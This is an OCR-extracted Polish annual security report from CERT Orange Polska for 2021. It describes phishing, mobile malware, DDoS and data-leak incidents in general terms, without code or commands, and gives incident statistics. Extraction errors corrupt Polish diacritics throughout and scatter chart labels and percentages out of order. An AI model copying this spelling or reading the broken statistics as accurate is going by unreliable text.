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Wojna w Ukrainie. To temat, ktéry od 24 lutego nie schodzi
z ust Europejczykoéw. | cho¢ raport, ktéry za chwile
przeczytacie, dotyczy roku 2021, trudno nie odnie$é

sie do sytuacji za wschodnig granicg Polski. | tak jak

w ubiegtym roku, niezmiennie istotng ,inspiracjg”

dla przestepcow byta pandemia COVID-19, tak w ostatnich
tygodniach przed publikacjg Raportu CERT Orange Polska
media spotecznosciowe zalato tsunami dezinformacii.

Nie mogli$my przemilcze¢ tak waznego dla nas wszystkich
tematu. Tekst o niej znalazt sie w naszym raporcie.

Tegoroczna, ésma juz edycja Raportu CERT Orange
Polska jest wyjatkowa. Nasza jednostka reagowania

na cyberzagrozenia obchodzi bowiem dwudziestopieciolecie.
Jako pierwsi z telekoméw, juz w poczatkach internetu,
postawiliSmy na bezpieczenstwo w sieci. Zebrane

przez ten czas do$wiadczenie jest nieocenione w walce
z przestepcami. Coraz czesciej pozwala nam nie tylko
dotrzymac kroku cyberprzestepcom, ale nawet byé

o krok przed nimi. To zastuga unikalnych kompetenciji
naszego zespotu CERT, a takze tworzonych i rozwijanych
przezen pionierskich rozwigzan, opartych na uczeniu
maszynowym i sztucznej inteligenciji.

Pandemia COVID-19 to takze — poza tematycznym
phishingiem, wykorzystujgcym zwigzane z nig emocje

— totalna zmiana sposobu pracy. Najpierw z biur wygonit
nas wirus, a potem - dla wielu przedsiebiorcow - zdalna
praca okazata sie niekiedy efektywniejsza, niz biurowa.
To jednak wigze sie z wyzwaniami utrzymania
bezpieczenstwa domowego biura na takim samym
poziomie, jak w przypadku pracy w siedzibie firmy.

To dla nas priorytet, zarébwno w kontekscie
bezpieczenstwa naszej sieci, jak i Waszej obecnosci
w internecie.

Jednym z istotnych elementéw naszej linii obrony jest

od lat CyberTarcza. O tym jak jest wazna, najlepiej méwi
efektywno$¢ jej ochrony przed phishingiem. W ubiegtym
roku powstrzymata ponad 335 milionéw incydentow
phishingowych, chronigc 4,5 miliona uzytkownikéw przed
utratg wrazliwych danych czy oszczednosci, np. przez
najpopularniejsze w ubiegtym roku wytudzenia ,,na kupujacego”.

Przy tych wszystkich rozwigzaniach technicznych pamietamy
jednak, ze najstabszym — i jednoczesnie najwazniejszym

- punktem w systemie bezpieczenstwa jestesSmy my.

I Ty, i ja, i kazdy internauta z osobna. Przestepcy moga
kupi¢ na czarnym rynku uzywane przez siebie rozwigzania
za ,grosze” — w poréwnaniu do tego, ile moga na tym zyskac.
Oni muszg tylko przekona¢ nas, by$my uruchomili
zawirusowany plik, klikneli w link, wpisali login, hasto, czy numer
karty ptatniczej. Dlatego nie zapominamy o regularnych,
konsekwentnych, chwilami uporczywych wrecz publikacjach,
uswiadamiajgcych internautom, co szykujg dla nich oszusci
i na co koniecznie trzeba uwazac w sieci. Wielu z Was
pomaga nam, zgtaszajgc niepokojgce internetowe zdarzenia.
To bardzo wazne i jesteSmy za to bardzo wdzieczni!

Jestesmy dla Was od éwier¢ wieku i dla Was sie caty
czas rozwijamy. Badzcie bezpieczni!

Prezes Zarzadu Orange Polska
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Obecnie cyberzagrozenia
sa znacznie bardziej rozbudowane,
nierzadko wyrafinowane,

ale przede wszystkim:
czeste | nieprzerwane.
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Klucz do odpowiedzialnego

cyfrowego swiata

Kiedy$ to byty czasy... Gdy najpopularniejsze dzi$
wyszukiwarki internetowe nie istniaty. Gdy caty internet
na ,,Stripie” w Las Vegas padt na przeszto godzine

w efekcie pokazowego ataku DDoS podczas
konferencji DEF CON 5. Teraz jest inaczej. Obecnie
cyberzagrozenia sg znacznie bardziej rozbudowane,
nierzadko wyrafinowane, ale przede wszystkim:

czeste i nieprzerwane. Chocby z tych powoddéw
nalezy sie uznanie pionierom walki z cyberzagrozeniami.
Tym, ktdrzy 25 lat temu uwierzyli w przyszios¢
zespotéw CERT (Computer Emergency

Response Team).

Jako zaufany partner, Orange daje kazdemu klucze
do odpowiedzialnego cyfrowego Swiata. By chronic¢
nasz majatek i cyfrowg aktywnos$¢ naszych klientéw,
kazdego dnia polegamy na wysoce doswiadczonych
zespotach, odpowiedzialnych za monitorowanie
systemoéw IT i sieci - a takze zarzadzanie incydentami
bezpieczenstwa, ktére moga wptynaé na nasze
codzienne aktywnosci. Od wielu lat CERT

Orange Polska jest istotng czescia tych cyberzespotdw,
wspierajac Grupe Orange, aktywnie uczestniczac

w tworzeniu bezpiecznych rozwigzan dla jej klientéw,
a jednoczesnie dzielgc sie tg wiedzg z innymi.

Czujemy dume majac w szeregach naszej organizacji
ekspertéw bezpieczenstwa w sieci, ktérzy chronig
znaczng czes¢ polskiego internetu przed nowoczesnymi
i agresywnymi cyberzagrozeniami, takimi jak ataki
DDoS, mobilny malware, phishing, ransomware,

czy tresci napastliwe i nielegalne. Zyczymy

naszym polskim cyberstraznikom wszystkiego
najlepszego z okazji urodzin!

Czujemy dume majac
w szeregach naszej
organizacji ekspertow
bezpieczenstwa

w sieci, ktdrzy chronia

znaczna czesc polskiego
internetu przed
nowoczesnymi

I agresywnymi
cyberzagrozeniami

Vincent Maurin

Szef Orange CERT Coordination Center. Pracuje
w branzy telekomunikacyjnej przez niemal éwier¢
wieku, brat udziat w wielu miedzynarodowych
projektach. Wczesniej przez 10 lat pracownik
Orange Business Services.

Orange CERT Coordination Center

(CERT Orange) jest strukturg operacyjna,
odpowiedzialng za bezpieczenstwo Grupy

Orange (wtgczajgc w to jej jednostki biznesowe

i spétki zalezne) zapewniajgc ochrone

przed cyberzagrozeniami i reakcje na incydenty
bezpieczenstwa. Jako cztonek FIRST, CERT Orange
przestrzega zasad odpowiedzialnego zarzadzania
zgtoszonymi mu podatnosciami.
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Przeglad najwazniejszych wydarzen i zagrozen
w Polsce i na swiecie w roku 2021

Duza kampania phishingowa SMS
na klientow firmy InPost

W przesytanych wiadomosciach zachecano
odbiorcéw do instalaciji aplikacji zawierajace
ztosliwy kod trojana Cerberus. Przestano
kilka tysiecy takich wiadomosci, jednak
wiekszos$¢ z nich zostata zablokowana przez
operatora bramki SMS bedacego partnerem
Orange Polska.

Duza kampania phishingowa
z odnosnikiem do falszywego serwisu
ptatnosci elektronicznych

Duza kampania phishingowg z wiadomoscig
SMS dotyczaca nieuregulowanej ptatnosci
za dostarczone ustugi. Wiadomos¢ SMS
zwierata odnosnik do fatszywego serwisu
ptatnosci elektronicznych.

Badacze cyberbezpieczenstwa
na celowniku Korei Péinocnej

Znani badacze cyberbezpieczenstwa
otrzymywali podejrzane wiadomosci na swoich
portalach spotecznos$ciowych. Nadawca

byt tajemniczy Zhang Guo. Wiadomosci byty
dzietem hakeréw wystanych przez rzad Korei
Pdtnocnej. To szeroko zakrojona kampania
atakéw socjotechnicznych majacych na celu
skompromitowanie znanych specjalistéw

od cyberbezpieczenstwa i kradziez ich badan.
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Przejeto konta chmurowe dostawcow
zaawansowanych technologii

Przestepcy uzyskali nielegalny dostep do sieci
firm zajmujgcych sie zaawansowanymi
technologiami i lotnictwem. Wektorem ataku
byty ustugi chmurowe. Czas przebywania
atakujacych w potajemnie infiltrowanych
sieciach mogt trwac nawet 3 lata. Po uzyskaniu
dostepu uprzywilejowanego, wykorzystali
popularne narzedzie ,,Cobalt Strike”. Nastepnie,
w wyniku przejmowania kolejnych maszyn
(,lateral movements”), udato im sie eksfiltrowac
zabezpieczone dane.

Informacja o nowym wycieku
w serwisie haveibeenpwned.com

Serwis haveibeenpwned.com poinformowat
0 wycieku bazy danych zawierajgcej okoto
300 tys. adreséw e-mail, w tym kilka z nich
nalezato do klientéw sieci Orange Polska

w domenach orange.pl oraz neostrada.pl

Kampania z uzyciem trojana Emotet

Pocztg elektroniczng przesytany

byt zainfekowany plik .doc. Jego
otwarcie oraz uruchomienie osadzonego
makra (wtgczenie aktywnej zawartosci)
skutkowato zainstalowaniem ztosliwego
oprogramowania i potgczeniem z C&C.

HAFNIUM atakuje serwery
MS Exchange exploitami typu 0-day

Kampania skierowana przede wszystkim

do podmiotéw w Stanach Zjednoczonych:
badaczy chordb zakaznych, kancelarii
prawnych, instytucji szkolnictwa wyzszego,
wykonawcdw ustug obronnych, think-tankdw
i organizacji pozarzadowych. Kampania
wykorzystuje luki w zabezpieczeniach serwerdw
z dostepem do internetu, a do komunikaciji
C&C uzywa legalnych struktur open source,
takich jak Covenant. Po uzyskaniu dostepu
do sieci ofiar, HAFNIUM zazwyczaj przenosi
dane do witryn udostepniania plikdw.

Ataki na podatne serwery
MS Exchange klientéw OPL.

Nowy atak Flubota
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Nowy rekord ataku DDoS

Wolumen ataku byt na poziomie 400,8 Gbps
(gigabita na sekunde) i trwat okoto 16 minut.
Atak zostat przeprowadzony na sie¢ mobilng
uzytkownika zlokalizowanego za NAT.

Atak nie spowodowat niedostepnosci sieci,
a jej uzytkownicy go nie odczuli.

Zaatakowano stacje uzdatniania wody

Zaktad uzdatniania wody na Florydzie
doswiadczyt naruszenia bezpieczenstwa.
Okazato sie, ze zaatakowany podmiot uzywat
nieobstugiwanej wersji systemu Windows
bez zapory sieciowej, a pracownicy uzywali
tego samego hasta w aplikacji przejmowania
pulpitu. Po uzyskaniu zdalnego dostepu

do komputera sterujgcego komponentami
przemystowymi, nieznany intruz zwiekszyt
100-krotnie ilo$¢ wodorotlenku sodu.
Manipulacja mogta spowodowaé powazne
choroby lub $mier¢, gdyby nie odpowiednie
zabezpieczenia po stronie miasta.

Kolejny rekord ataku DDoS.

Wolumen ataku byt na poziomie 476,2 Gbps
(gigabita na sekunde). Atak zostat
przeprowadzony na sie¢ mobilng
uzytkownika zlokalizowanego za NAT.

Atak nie spowodowat niedostepnosci sieci,
a jej uzytkownicy go nie odczuli.

Byt on w tamtym czasie najwiekszym
zaobserwowanym atakiem
wolumetrycznym w polskim internecie.

Nowy typ ztosliwego oprogramowania

Nowy typ ztosliwego oprogramowania
(banker trojan) przeznaczonego dla systemow
Android. Ztosliwy kod dystrybuowany

byt w ramach kampanii podszywajacej

sie pod FedEx. To byto pierwsze
potwierdzone wykorzystanie Flubota.
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Udostepniono w sieci zestaw danych
ponad 500 milionoéw uzytkownikow
Facebooka.

Dane zostaty rzekomo uzyskane przez
wykorzystanie luki w zabezpieczeniach,
ktérg Facebook miat usunaé w sierpniu
2019r. Podstawowg wartoscig wycieku

byto powigzanie numeréw telefonéw

z tozsamosciami uzytkownikéw - kazdy
rekord zawierat numer telefonu. 2,5 miliona
Z nich miato adres e-mail. Wiekszo$¢
rekordow zawierata imiona i pte¢, a wiele
z nich rowniez daty urodzenia, lokalizacje,
status zwigzku i pracodawce. Pozostate
rekordy zawieraty daty urodzenia, adresy
e-mail, dane pracodawcy, pte¢, lokalizacje
geograficzne, imiona i nazwiska, numery
telefonow, informacije o relacji.

2 669 381 rekordow dotyczyto polskich
uzytkownikow, gdzie kilkadziesiat z nich
posiadato adres e-mail w domenie
klienckiej @orange.pl lub @neostrada.pl.

Nowa wersja Flubota.

Podstawowg zmiang w jego dziataniu byto
rozwigzywanie nazw C&C za pomocg DNS
over HTTPS (DOH).
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Duza liczba spamu i wiadomosci
phishingowych

Wiadomosci te oraz powigzane z nimi
strony internetowe byty wykorzystywane
do wytudzania wrazliwych danych

oraz kradziezy srodkéw finansowych.

Kampania phishingowa SMS dotyczaca
grzywien karnych

Uzytkownicy otrzymywali SMS-y kierujace ich
do fatszywej bramki ptatniczej pod pretekstem
zaptaty grzywny. Skala: kilka tysiecy SMS-6w
wysytanych dziennie. Wiekszo$¢ numerdw,
na ktére wysytano SMS-y, znalazia sie
rowniez w wycieku danych z Facebooka.

Kampania wykorzystujaca ztosliwe
oprogramowanie

E-maile podszywaty sie pod system DocuSign
i zawieraty odnosniki zachecajgce do pobrania
pliku .zip z plikiem .xIsb. Plik zawierat makro
XLM 4.0, ktérego uzycie pozwala omina¢ wiele
mechanizmdw bezpieczenstwa i jest niemozliwe
do zablokowania. Makro wykorzystywato

inng technike w celu obejscia mechanizméw
bezpieczenstwa - kopiowato zawartosé
formularza html ze strony internetowej do pliku
utworzonego na staciji ofiary bez pobierania
kodu binarnego. Payload to Qakbot, rosyjski
bankier wstrzykujacy do przegladarki
uzytkownika wtasna tre$¢ podczas ses;ji

bankowosci elektroniczne;.

Nowy rekord ataku DDoS w sieci
stacjonarnej OPL

Atak o wolumenie 389,9 Gbps trwat
8 minut. Nie odnotowano negatywnego
wptywu ataku na sie¢ OPL i fgcza klientéw.

Podatnos¢ w ustudze Windows
PrintSpooler

Podatnos¢ w ustudze Windows
PrintSpooler (“Nightmare” Remote
Command Execution), ktéra pozwalata

na przejecie kontroli nad serwerami
odpowiedzialnymi za dziatanie Active
Directory. Pojawit sie rowniez exploit
umozliwiajgcy wykorzystanie tej podatnosci
we wszystkich dostepnych w tamtym
czasie wersjach systemu Windows.

Polska
|
Swiat

Polska

OPL
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Aplikacja FBI ujawnita globalna
operacje narkotykowa

FBI stworzyto szyfrowany komunikator, ktory
zostat uznany przez przestepcow jako bezpieczny.
Dzieki luce, policja miata dostep do ok. 25 min
wiadomosci. Wérod aresztowanych sg cztonkowie
gangdéw motocyklowych, Australijczycy
powigzani z mafig, osoby zwigzane z azjatyckimi
syndykatami przestepczymi oraz cztonkowie
powaznych grup przestepczosci zorganizowanej.

Proby nieautoryzowanego dostepu
do ustug sieci TV OPL

Byt to atak stownikowy, w ktérym
wykorzystano loginy z réznych lokalizacji.

Nie miat on negatywnego wptywu na ustugi
Orange Polska oraz sieé. Zrédtem ataku
byty urzadzenia klientéw w sieci OPL
zainfekowane malwarem Trojan.Glubteba.

Duza skala utrudnien w dostepie
do wielu ustug online

Doszto do przerwie w dziataniu wielu stron,
m.in. PlayStation Network, Steam, Airbnb.
Gtéwna przyczyna usterki byt btgd

w ustudze Akamai Edge DNS.

Duza kampania phishingowa

Duza kampania phishingowa wytudzajaca
dane uwierzytelniajace do poczty elektronicznej
pod pretekstem pobrania udostepnionego
pliku. Gtéwnym celem kampanii byli
pracownicy korporaciji i ich konta firmowe.

Kampania phishingowa
wykorzystujaca ustugi Microsoft

Wiadomosci email zawieraty zrzut ekranu
oraz informacje o udostepnieniu waznego
pliku. Klikniecie w zatgczong grafike
przekierowywato uzytkownika do strony
wytudzajgcej dane uwierzytelniajgce

do ustug Microsoft 365.
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Joker w sklepie Google Play ‘

Oprogramowanie szpiegowskie stworzone

do wykradania SMS-6w, listy kontaktow

i informacji w urzadzeniu, pomimo interwencji
Zespotu Bezpieczenstwa Google, na nowo
pojawiato sie w sklepie, omijajgc zabezpieczenia.

Dystrybucja malware
za posrednictwem ustug chmurowych

Wzrost aktywnosci szkodliwego
oprogramowania Flubot. Klienci otrzymywali
fatszywe SMS-y z powiadomieniem

o wiadomosci w poczcie gtosowe;.

SMS zawierat link do pobrania ztosliwej
aplikaciji, ktéra wykradata dane logowania
do bankowosci elektronicznej.

SMS-y wysytane byly z polskich, ale takze
zagranicznych numerow telefonow.

Kampanie phishingowe

Kampanie phishingowe podszywajace
sie pod réznych dostawcow dziatajgcych
w internecie (gtéwnie Adobe,

ale tez Microsoft czy DHL).
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Przejecie konta Atlassian
jednym kliknieciem

Btad bezpieczenstwa na platformie
Atlassiana umozliwiat dostep do systemu
btedéw Atlassian Jira i uzyska¢ poufne
informacije, takie jak btedy bezpieczenstwa
w produktach firmy.

Ransomware na region Lazio

Region Lazio we Wtoszech zostat
zaatakowany przez oprogramowanie typu
ransomware. Zaszyfrowano dane i zniszczono
sie¢ IT. Ucierpiat m.in. portal z rejestracja

na szczepienia przeciwko COVID-19.

Podszywanie sie pod nowa gre
na urzadzenia mobilne firmy
Konami - Contra Returns.

Atakujacy zachecali do zainstalowania
fatszywej aplikacji dziatajgcej na komputerach
PC. Po uruchomieniu aplikacji instalowany
byt kryptominer Monero.

Akcja rozpowszechniania fatszywej
aplikacji mobilnej mObywatel.

Fatszywa aplikacja to w rzeczywistosci
malware Alien, ktéry potrafi podszywac

sie pod ekrany logowania innych aplikaciji,
m.in. bankowych, wykradata listy kontaktow,

wysytata wiadomosci SMS zachecajgc

do instalowania innych aplikaciji, przegladata
powiadomienia, zbierata dane geolokalizacyjne
i informacje o zainstalowanych aplikacjach.
Dystrybucja tego ztosliwego oprogramowania
odbywata sie za posrednictwem fatszywego
sklepu Google Play.

Przejecie strony na Biatorusi

Grupa biatoruskich antyrzadowych hakeréw
przejeta dane osobowe wysokich urzednikdw
na Biatorusi. Ich celem byto zablokowanie
pracy organdw bezpieczenstwa

oraz wszystkich popierajgcych

rzady obecnego prezydenta.

Zwiekszajaca sie liczba
atakow DDoS “Carpet Bombing”

Zwiekszajaca sie liczba atakéw DDoS
“Carpet Bombing”. Atak tego typu
rzadko byt przeprowadzany

w polskim internecie.
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Swiat

Polska

Swiat

OPL

OPL

Polska

Skradziony tablet i sekretne informacje

Znaleziony w zachodniej czesci

Libii tablet zawierat tajne informacje dotyczace
rosyjskiej Grupy Wagnera. Byty tam nie tylko
ksiagzki, ale rowniez pozostawione $lady

na mapie, gdzie znajdowat sie wiasciciel
porzuconego sprzetu, a takze inne informacje
pomagajgce na sprofilowanie witasciciela,

jak i dziatan grupy.

Wyciek w T-Mobile

Doszto do masowego wycieku danych

z firmy T-Mobile: wyciekly nie tylko dane
personalne, ale réwniez m.in. numery IMEI.
W zwigzku z tym firma zaoferowata darmowg
pomoc w ochronie tozsamosci ofiar.

Ujawnienie haset do ustugi VPN

Doszto do powaznego

incydentu - cyberprzestepca ujawnit hasta
do ponad 500 tysiecy kont Fortinet VPN.

Nie jest wiadome, dlaczego cyberprzestepca
udostepnit dane uwierzytelniajace, zamiast
uzywac ich dla siebie, ale uwaza sie,

ze zostato to zrobione w celu promowania
swojego forum hakerskiego.

Jedna z najwiekszych kampanii
smishingowych w historii

Jedna z najwigkszych kampanii smishingowych
w historii. Z wykorzystaniem nadpisu
KWARANTANNA. Wystano setki tysiecy
wiadomosci SMS zawierajgcych odnosnik
do fatszywej aplikacji FlashPlayer na systemy
Android zawierajgcej ztosliwy kod Cerberus.
Celem kampanii byto atakowanie wtascicieli
kont bankowych. Atakujacy wykorzystali
infrastrukture jednej z firm $wiadczacej ustugi
rozsytania duzej liczby wiadomosci SMS

(w tym celu konto jednego z pracownikéw

tej firmy zostato przejete). Po odzyskaniu
konta pracownika kampania zakoriczyta sie.
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Nowa wersja OWASP Top 10 ‘

Pojawia sie nowa wersja OWASP Top 10,
czyli dokumentu informacyjnego

dla programistéw i os6b odpowiadajacych
za bezpieczenstwo aplikacji. To powstate
w wyniku analiz ekspertow 10 obecnie
najistotniejszych zagrozen bezpieczenstwa
aplikacji internetowych.

Kampania wykorzystujaca
spoofing Caller ID

Byty z nich wykonywane potgczenia do réznych
odbiorcéw, wigczajgc tych korzystajgcych

z sieci OPL. Dzwonigcy przedstawiali sie jako
konsultanci bankowi (prawdopodobnie byta
to jedna z tych kampanii wytudzajgcych dane
dostepowe do bankowosci elektroniczne;j).

Wyciek z platformy Twitch

Anonimowy haker opublikowat, ogromna
(125GB) ilo$¢ poufnych danych z popularnej
platformy streamingowej Twitch. Opublikowano
rowniez kod Zrédtowy Twitch.tv oraz informacje
o przychodach poszczegdlnych streamerdw.

FBI rozsyta phishing

Ktos$ na skutek btedu konfiguracii
oprogramowania mégt wysyta¢ maile

z kont FBI. Oswiadczenie rzadowej agencji

z dnia 14 listopada stwierdza, ze FBI ,jest
$wiadoma btednej konfiguracji oprogramowania,
ktéra tymczasowo pozwolita na wykorzystanie
portalu do wysytania fatszywych e-maili”.
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Pazdziernik

Swiat

Polska

OPL

Listopad

Polska

OPL

Swiat

4

4

APT 28 w natarciu

Google wystat powiadomienia mailowe
do 14 tys. uzytkownikéw Gmaila, ze stali
sie ofiarami ukierunkowanego ataku.
Atak potaczono z rosyjska grupg APT 28.

Dane Argentynczykow w internecie

Hakerzy wtamali sie do rzadowych

baz danych w Argentynie. Pozyskali takie
dane obywateli jak imiona i nazwiska,

adresy domowe, daty urodzenia, informacje
o ptci, daty wydania i waznos$ci dowodu
osobistego i wiele innych. Do wycieku doszto
najprawdopodobniej przez nieostroznego
pracownika, ktérego uwierzytelnienia zostaty
skompromitowane.

Pojawienie sie Flubota

Pojawienie sie Flubota, ktéry wykradat
kontakty z ksigzek adresowych urzadzen
mobilnych do masowej dystrybuciji
wiadomosci SMS. Gtéwnym celem kampanii
byto wykradzenie danych uwierzytelniania
w bankowosci elektronicznej. W kolejnych
wersjach Flubota tres¢ wiadomosci
zmieniata sie m.in., aby zachecac ofiary
do instalowania ztosliwych aplikacji.
Flubot komunikowat sie wykorzystujac
zapytania DOH (DNS over https). Dziennie
obserwowali$my wiecej niz 1,1 min
podejrzanych wiadomosci w naszej sieci.

Luka w Log4j ‘

Ujawniona krytyczna podatno$é

w Apache Log4j. Dotyczy wielu ustug
zwigzanych chocéby z przemystem
rozrywkowym i gier komputerowych.
Przygotowano fatke bezpieczenstwa
oraz wydano rekomendacje.

Nowy exploit typu 0-day
w bibliotece log4j

Nowy exploit typu 0-day

w bibliotece log4j. Podatnos¢ log4shell

Z nim zwigzana pozwalata atakujgcemu na
zdalne wykonanie kodu (RCE)

w aplikacjach opartych na jezyku Java.

Listopad

Polska

Swiat

Polska

Polska

Polska

Swiat

Swiat

OPL

OPL

Swiat

4

Incydent w GoDaddy

GoDaddy ogtasza incydent dotyczacy
bezpieczenstwa zarzgdzanej ustugi
WordPress. Zauwazono nieuprawniony
dostep do $rodowiska hostingowego.
Incydent dotyczy ponad miliona uzytkownikow,
wyciec mogty m.in. dane osobowe,

klucze SSL i hasta.

Aresztowanie grupy REvil

Rosyjska agencja bezpieczenstwa
wewnetrznego aresztowata 14 domniemanych
cztonkéw gangu ransomware REvil,

w tym hakera, ktéry miat dokona¢ ataku
Maya na rurocigg Colonial Pipeline.

Oznacza to wyeliminowanie grupy.

Kampania z uzyciem malware Quakbot

Kampania polegata na rozsytaniu zatgcznika
w postaci archiwum ZIP w fatszywej
wiadomosci email. Archiwum zawierato
arkusz kalkulacyjny z aktywng zawartoscig
(makrem), ktére pobierato z internetu

ztosliwe oprogramowanie. W kampanii
wykorzystywano fragmenty wykradzionych
wczesniej wiadomosci email. Cze$¢ kampanii
byta przeznaczona dla polskich odbiorcow,
ale tres$¢ byta kiepskiej jakosci

(od razu klasyfikowane jako phishing).

Dezinformacja dotyczaca COVID-19

Facebook zniést powigzang z Chinami
kampanie dezinformacyjna dotyczaca
COVID-19. Toczyta sie ona wokét
postu szwajcarskiego biologa,

ktory w rzeczywistosci... nie istniat.
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25 lat jestesmy dla Was

Powstaje TP Abuse pierwszy zespot bezbezpieczenstwa

Przystapienie do Trusted Introducer, inicjatywy zrzeszajacej zespoty reagujace na incydenty

Uzyskanie przez CERT Orange Polska (TP CERT) pozwolenia od CERT Coordination Center,
dziatajacego przy Carnegie Mellon University na wykorzystanie marki CERT w nazwie zespotu

Blokada portu 25

Powstanie zespotu Security Operations Center (SOC)

Przystapienie CERT Orange Polska do miedzynarodowej organizacji FIRST (Forum of Incident
Response and Security Teams) zrzeszajacej zespoly reagujace na incydenty

Uruchomienie pierwszej ustugi komercyjnej chroniacej przed atakami DDoS

16

CERT Orange Polska uzyskuje status zespotu akredytowanego w Trusted Introducer

v

Atak na DNS

v

Pierwszy certyfikat UKE

v

Powstaje piewrszy raport roczny CERT Orange Polska

Powstanie CyberTarczy, autorskiego rozwiazania CERT Orange Polska

Status zespotu certyfikowanego w Trusted Introducer. Najwyzszy status w organizaciji Trusted Introducer,
CERT Orange Polska otrzymuje go jako pierwszy zespét z Polski.

CERT Orange Polska zostat cztonkiem zespotu NC Cyber

Zorganizowanie wspoélnie z NASK miedzynarodowego spotkania zespotéw CERT w siedzibie Orange Polska

Pierwsze zawody CTF w grupie Orange w Warszawie.
Pierwsze miejsce na podium z dziesieciu zespotéw bioracych udziat

Miedzynarodowa nagroda dla CyberTarczy za najlepsze operatorskie rozwiazanie
w dziedzinie bezpieczenstwa sieci
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Incydenty bezpieczenstwa obstuzone
przez CERT Orange Polska

Przedstawiamy rozktad procentowy incydentéw
bezpieczenstwa obstuzonych przez nas w sposéb
nieautomatyczny w roku 2021. Incydenty dotycza
ustugowych sieci internetowych, a analizy gtéwnie
podziatu na kategorie oraz poréwnan z ubiegtym rokiem.

Obstugiwane przypadki odnosza sie, zaréwno do sytuacji
ataku na zasoby dotgczone do sieci Orange Polska,
jak i tych prowadzonych z zasobéw w tej sieci. Dotyczyty
one wszelkich rodzajéw sieci z punktu widzenia ich

Informacije o incydentach pochodzity zaréwno ze Zrédet

od uzytkownikéw, informacje pochodzace od organizaciji
zajmujacych sie bezpieczenstwem, czy innych zespotéw
CERT, natomiast wtasne systemy bezpieczenstwa

to m.in. systemy wykrywania i zapobiegania wiamaniom
(IDS/IPS), analizatory przeptywow sieciowych (flows)
pod katem atakéw DDoS oraz ztosliwych kodow, putapki
sieciowe (honeypot), systemy zarzadzania informacja

uzytkownika koncowego, tj. uzytkownikéw indywidualnych,  zwiazana z bezpieczenstwem i zdarzeniami (SIEM), CTI,

jak i podmiotéw korporacyjnych.

DNS/IP sinkhole.

Kategorie obstugiwanych incydentow:

Kategoria incydentu

Opis oraz przyktady zdarzen

zewnetrznych, jak i wewnetrznych systeméw bezpieczenstwa.
Zewnetrzne zrodta informaciji to przede wszystkim zgtoszenia

Obrazliwe
i nielegalne tresci

Rozpowszechnianie niebezpiecznych i zabronionych prawem tresci (np. rozsytanie spa-
mu, dystrybucja/udostepnianie materiatéw chronionych prawem autorskim - piractwo/
plagiat, pornografia dziecieca) oraz rozpowszechnianie tresci obrazliwych/grézb i innych
zwigzanych z naruszeniem zasad i regut w sieci internet.

Ztosliwe
oprogramowanie

Infekcje i rozpowszechnianie ztosliwego oprogramowania (np. hostowanie C&C,
ztosliwe oprogramowanie w zatgczniku wiadomosci lub link do skompromitowanego
adresu URL).

Gromadzenie informacji

Podejmowanie dziatar majgcych na celu uzyskanie informacji o systemie lub sieci,
badz ich uzytkownikach, zmierzajgcych do nieautoryzowanego dostepu

(np. skano-wanie portéw, podstuch, inzynieria spoteczna/phishing — w tym
rozpowszechnianie maili phishingowych, hostowanie stron phishingowych).

Préby wtaman

Préby uzyskania nieautoryzowanego dostepu do systemu lub sieci (np. wielokrotne
nieuprawnione logowania, préby naruszenia systemu lub zaktécania funkcjonowania
ustug przez wykorzystywanie podatnosci).

Wiamania sieciowe

Uzyskanie nieautoryzowanego dostepu do systemu lub sieci, tj. wtargniecie,
naruszenie systemu/przetamanie zabezpieczen (np. poprzez wykorzystanie znanych
podatnosci systemu), kompromitacja konta.

Dostepnosé zasobdéw

Blokowanie dostepnosci zasobdw sieciowych (systemu, danych), m. in. poprzez wysytanie
duzej ilosci danych, ktére skutkuje odmowa $wiadczenia ustug (ataki typu DDoS).

Poufnos¢ i integralno$é
informacji

Naruszenie poufnosci lub integralnosci informacji, najczesciej w efekcie
wczesniejszego przejecia systemu lub przechwycenia danych podczas transmisiji
(np. przechwycenie i/lub udostepnienie okreslonego zbioru informaciji, zniszczenie
lub modyfikacja danych w okreslonym zbiorze informacji).

Oszustwa sieciowe

Czerpanie korzysci z nieuprawnionego wykorzystania zasobéw sieciowych (informacji,
systemu) badz ich uzycie niezgodne z przeznaczeniem (np. uzycie nazwy organizacji
bez pozwolenia czy uzycie zasobow organizacji w celach pozastatutowych).

Inne

Zdarzenia, ktére nie mieszczag sie w wymienionych kategoriach.
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Stosowana przez nas klasyfikacja obejmuje wszelkie
typy zdarzen zgtaszanych i obstugiwanych przez zespoty
typu CSIRT/CERT. Kategorie oparte sg na typie i skutku
dziatan naruszajacych bezpieczenstwo, zwigzanych

z procesem ataku na system teleinformatyczny i jego
wykorzystaniem. Podziat taki przydatny jest gtéwnie

gtéwnie zwigzanych z uzyciem ztosliwego
oprogramowania.

Rozktad procentowy kategorii incydentéw obstuzonych przez CERT Orange Polska w 2021 roku

Gromadzenie informacji
Ztosliwe oprogramowanie
Dostepnos$é zasobow

39,2%

Obrazliwe i nielegalne tresci

z punktu widzenia dziatar operacyjnych, pod katem
osiggnietego celu. W praktyce w analizowanych
incydentach uzywano zazwyczaj wielu metod i technik
prowadzacych do osiggniecia okreslonego skutku,

Poufnos¢ i integralnos¢ informaciji

Préby wiaman
Oszustwa sieciowe
Wilamania sieciowe

17,6% 17,3%
14,8%

4,1% 4,0%
2,7%
I

0,3%
Rozktad procentowy kategorii incydentow obstuzonych przez CERT Orange Polska
w 2021 roku i poréwnanie z rokiem 2020
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Stosunek liczby incydentow w miesigcu
do liczby incydentéw w roku 2021

Wsrod obstuzonych incydentéw, najwieksza grupe
stanowily te z klasy gromadzenie informaciji (39,2 proc.).
W poréwnaniu z rokiem 2020 nastapit nieznaczny
wzrost - o ponad 4 pp. (34,8 proc. w 2020 r.). Na drugim
miejscu znalazly sie incydenty z kategorii ztoSliwe
oprogramowanie (17,6 proc.) - znaczny spadek

do ubiegtego roku (25 proc. w 2020 r.). Kolejne miejsce
to ataki na dostepno$¢ zasobow (17,3 proc.) — nieznaczny
spadek do ubiegtego roku (19,7 proc. w 2020 r.),

incydenty z grupy obraZliwych i nielegalnych tresci

(14,8 proc.) — wzrost w stosunku do poprzedniego roku

0 3,8 pp., poufnosc¢ i integralno$¢ informacji (4,1 proc.)

— podobnie jak w ubiegtym roku (3,9 proc. w 2020 r.),
préby wtaman (4,0 proc.) — podobnie jak w ubiegtym roku,
oszustwa sieciowe (2 proc.) — podobnie jak w ubiegtym
roku. Ponizej 1 proc. zaklasyfikowano wtamania sieciowe.
Inne, nieobjete wspomnianymi kategoriami, stanowity
nieznaczny odsetek obstuzonych incydentéw.

Rozktad miesieczny incydentéw w 2021 r. z podziatem na kategorie
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Gromadzenie informacji
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Oszustwa sieciowe
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Listopad

M Ziosliwe oprogramowanie

[ Obrazliwe i nielegalne tresci
Proby wiaman

